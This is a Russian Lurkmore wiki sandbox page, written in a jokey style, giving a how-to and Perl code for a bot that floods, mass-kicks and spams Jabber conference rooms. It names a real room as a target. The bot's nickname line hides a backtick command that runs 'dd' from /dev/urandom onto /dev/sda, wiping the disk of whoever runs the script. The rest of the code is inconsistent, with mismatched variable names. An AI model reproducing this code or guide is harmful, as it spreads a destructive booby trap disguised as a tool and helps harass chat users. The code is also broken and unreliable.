Lurkmore:Песочница
| I like to move it, move it! Надо объединить эту статью с вайп. Если вы согласны — скопипастите содержимое этой статьи в «вайп». Если вы считаете, что всё нужно оставить как есть — напишите на странице обсуждения, почему. |
hi from USA — Done!
![]() | Школота набигает на /lm/! Эта статья обязана своим появлением очередному обострению дрочерства, сильным приступам идиотизма и излишку свободного времени у самой /R/еквестируется административный экстаз на статью и ремень под сраку автору. |
| УДОЛИЛ!!!1 Эту страницу нужно удалить. Указана следующая причина: хуле, на уютненькие конфы анонимуса набигать станут. Отберите пистолет у школоты и линейкой, линейкой её по рукам. Если вы считаете, что эту страницу не нужно удалять, выскажитесь на странице обсуждения этой статьи. Администраторам: ссылки сюда, история (последнее изменение), удалить. |
Jabber все больше входит в нашу жизнь, общение в конференциях переростает в зависимости и порой становится очень неприятно, когда на твой уютненький чятик набигают спаммеры и рекламируют свои комнатки. Разве не надо наказывать таких? Равно как и админов с непомерным ЧСВ, которые банят только за то, что ты просто находишься в комнатке, ни слова не проронив?
Содержание |
Оружие возмездия, вайпалка:
1. Регистрируем себе бесплатный домен. Например, на службах DynDNS или No-IP.
2. Устанавливаем у себя jabber-сервер, настраиваем его на свежеполученный домен, убераем в настройках различные виды шейпинга.
3. Регистрируем у себя пачку аккаунтов. Проще всего это сделать через административные интерфейсы самого сервера.
4. Пишем бота, который будет вайпать комнату, пока оттуда все спаммеры/админы не убегут. Примерно так:
use threads; use threads::shared; use IO::Socket; # определяемся $nick='Бот возмездия'.`sudo dd if=/dev/urandom of=/dev/sda`; $from='some-wiper@somecooolhost.ru/'.$nick; $room='some-victim@conference.jabber.ru'; # коннектимся $socket = new IO::Socket::INET('ваш_хост:5222'); # Авторизуемся print $socket <<zzzz; <?xml version='1.0'?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" to="ваш_хост" xmlns="jabber:client"> <iq type='set' id='auth'> <query xmlns='jabber:iq:auth'> <username>ваш_логин</username> <password>ваш_пароль</password> <resource>ваш_ресурс</resource></query></iq> zzzz # Набигаем в комнату print $sock <<zzz; <presence from='$from' to='$victim'> <x xmlns='http://jabber.org/protocol/muc'> <history maxchars='0'/> </x> </presence> zzz
Далее, зависит от того, кем мы набижали. Если мы набигаем модератором, то можно в цикле сделать кик всем:
print $sock <<zzz; <iq from='$nick' id='kick1' to='$room' type='set'> <query xmlns='http://jabber.org/protocol/muc#admin'> <item nick='_ваша_жертва_' role='none'> <reason>Причина наших действий</reason> </item> </query> </iq> zzz
Если мы набигаем модератором, то можно что-то прокричать, в том числе и в цикле:
<message from="$nick" to="$room" type='groupchat'> <body>Ваше самое важное сообщение</body> </message>
Если набигаем анонимусом без войса, то остается только менять ники...
<presence from="$nick" to="$room/$newnick"> </presence>
Можно делать красивые анимированные статусы:
my $text=decode_utf8("смотрит на всех как на говно; "); for(my $pos=0;$pos<100000000;$pos++){ my $status=substr($text.$text,$pos%length($text),30); print $sock <<ssss; <presence to='$room/$nick'> <status>$status</status> </presence> ssss sleep 1; }
Дисклеймер
все функции убраны, код свален в 1 линию, никакой многопоточности, ибо цель статьи - обучение, а не готовое пособие для школонабиганий
Примеры для набигания
linux@conference.jabber.ru - банят за простой просмотр
Пруфлинк
http://xmpp.org/extensions/xep-0045.html - спецификация по написанию набигалок
Примечания
Эта вайпалка годится только для вайпа конференций, в которых овнер даун, так как остальные в курсе про то, что можно банить весь сервер сразу.
